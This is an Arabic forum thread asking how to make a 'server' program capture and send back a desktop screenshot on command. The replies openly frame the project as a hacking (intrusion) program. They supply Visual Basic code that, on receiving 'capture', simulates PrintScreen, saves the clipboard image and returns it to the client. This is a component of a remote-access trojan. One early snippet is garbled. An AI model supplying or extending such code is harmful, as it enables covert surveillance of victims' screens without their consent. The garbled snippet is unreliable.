كيف أرسل إلى السيرفر أمر بأخد صورة لسطح المكتب

الاخ السائل انا كنت حشرح الموضوع اللي بتسال عليه من الالف الي الياء باستخدام winsock.dll

لكن يبدو ان احد الاعضاء سبقني اليك وصله الموضوع بتاعه

/index.ph...=59622&st=0

السلام عليكم

أولا أخي الكريم بارك الله فيك على اهتمامك وجزاك الله خيرا

لكن أخي الكريم ليس هدا هو المطلوب

أتمنى أن تقرأ السؤال جيدا

و مشكوور مرة أخرى

و السلام عليكم

أنا فهمت أنك تريد صنع برنامج اختراق

الشرح : عندما ترسل الامر "captur" سنكتب الكود التالي

Winsock.senddata clipbord.getdat

أما في العميل وفي الحدث data arrival سنكتب الكود التالي :

dim bmp as long

winsock1.getdata bmp

pictur1.load bmp

بالنسبة لاداة Pictur أنا لا اجيد استخدامها

طبعا كنت اتمنى لو انك حولت ان تجد الحل بنفسك .. سترى انه من الممتع

حسنا بما انك دخلت مجال الاختراق سيكون طبعا برنامج السيرفر والعميل

العميل يرسل كلمة capture

اما السيرفر فيتنقى الرسائل واذا وجد كلمة capture هي المرسلة سيقوم بالتالي :

يحفظ صورة سطح المكتب

Case "capture"
keybd_event vk_SNAPSHOT, 0, 0, 0
DoEvents
SavePicture Clipboard.GetData(), App.Path & "\Desktop.bmp"
Set RgheedViewBox1.Picture = LoadPicture(App.Path & "\Desktop.bmp")

طبعا ارسال الصورة سيكون طبيعي مثل أي ملف مرسل من قبل الخادم .

واكتب في الجينرال

Private Declare Sub keybd_event Lib "user32" (ByVal bvk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Const vk_SNAPSHOT = &H2C

الطريقة

يقوم برنامج العميل بأرسال الامر إلى برنامج السيرفر والذي يحتوي على كلمة capture على حسب مااخترت .. يقوم الخادم باخذ صورة سطح المكتب وارسالها بنفس طريقة ارسال الملفات

هذا الحل لمسألتك واتمنى ان يكون دخولك في الاختراق لاغراض سلمية , كأن تسوي لنا ماسنجر مثلا :D

تحياتي